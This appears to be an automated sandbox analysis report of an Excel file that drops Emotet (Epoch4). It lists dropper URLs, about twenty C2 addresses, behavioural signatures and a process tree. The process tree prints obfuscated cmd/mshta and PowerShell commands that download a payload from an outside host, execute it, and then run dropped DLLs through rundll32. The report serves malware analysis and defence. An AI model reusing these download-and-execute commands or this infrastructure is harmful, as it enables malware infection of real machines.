Analysis

  • max time kernel
    122s
  • max time network
    126s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    21/01/2022, 02:35

General

  • Target
    fd8d3013f09baf45a5bd13b25d7485cd.xls
  • Size 70KB
  • Sample220121-c22vqadbb4
  • SHA256 baa950d432aeb1593d886ae1afff9dbc40b6be9828af26c7d3c72431f4fdafff
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://0xb907d607/fer/fe2.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://185.7.214.7/fer/fe2.png

Extracted

Family
  • emotet

Botnet
  • Epoch4

C2
  • 131.100.24.231:80

  • 209.59.138.75:7080

  • 103.8.26.103:8080

  • 51.38.71.0:443

  • 212.237.17.99:8080

  • 79.172.212.216:8080

  • 207.38.84.195:8080

  • 104.168.155.129:8080

  • 178.79.147.66:8080

  • 46.55.222.11:443

  • 103.8.26.102:8080

  • 192.254.71.210:443

  • 45.176.232.124:443

  • 203.114.109.124:443

  • 51.68.175.8:8080

  • 58.227.42.236:80

  • 45.142.114.231:8080

  • 217.182.143.207:443

  • 178.63.25.185:443

  • 45.118.115.99:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\fd8d3013f09baf45a5bd13b25d7485cd.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1700
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:752
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://0xb907d607/fer/fe2.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:1568
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:972
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1988
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:1120
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:1084
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Dirryewwdiay\igylnmtm.joo",pAMbVFBQZZrfo
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1736
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Dirryewwdiay\igylnmtm.joo",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1976

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/972-59-0x00000000022F1000-0x00000000022F2000-memory.dmp

        memory/972-58-0x00000000022F0000-0x00000000022F1000-memory.dmp

        memory/972-60-0x00000000022F2000-0x00000000022F4000-memory.dmp

        memory/1084-76-0x00000000003D0000-0x00000000003F6000-memory.dmp

        memory/1084-80-0x0000000000A10000-0x0000000000A36000-memory.dmp

        memory/1084-87-0x00000000028D0000-0x00000000028F6000-memory.dmp

        memory/1084-84-0x00000000025E0000-0x0000000002606000-memory.dmp

        memory/1084-82-0x0000000002080000-0x00000000020A6000-memory.dmp

        memory/1084-74-0x0000000000230000-0x0000000000256000-memory.dmp

        memory/1084-78-0x00000000008D0000-0x00000000008F6000-memory.dmp

        memory/1120-67-0x0000000000260000-0x0000000000286000-memory.dmp

        memory/1700-53-0x000000002F381000-0x000000002F384000-memory.dmp

        memory/1700-54-0x0000000071011000-0x0000000071013000-memory.dmp

        memory/1700-55-0x000000005FFF0000-0x0000000060000000-memory.dmp

        memory/1700-56-0x0000000075601000-0x0000000075603000-memory.dmp

        memory/1700-113-0x000000005FFF0000-0x0000000060000000-memory.dmp

        memory/1736-89-0x0000000000210000-0x0000000000236000-memory.dmp

        memory/1976-96-0x00000000020A0000-0x00000000020C6000-memory.dmp

        memory/1976-94-0x0000000000A30000-0x0000000000A56000-memory.dmp

        memory/1976-98-0x00000000023E0000-0x0000000002406000-memory.dmp

        memory/1976-100-0x0000000002490000-0x00000000024B6000-memory.dmp

        memory/1976-102-0x0000000002680000-0x00000000026A6000-memory.dmp

        memory/1976-104-0x0000000002980000-0x00000000029A6000-memory.dmp

        memory/1976-106-0x0000000002A40000-0x0000000002A66000-memory.dmp

        memory/1976-108-0x0000000002B40000-0x0000000002B66000-memory.dmp

        memory/1976-110-0x0000000002C20000-0x0000000002C46000-memory.dmp

        memory/1976-92-0x00000000002B0000-0x00000000002D6000-memory.dmp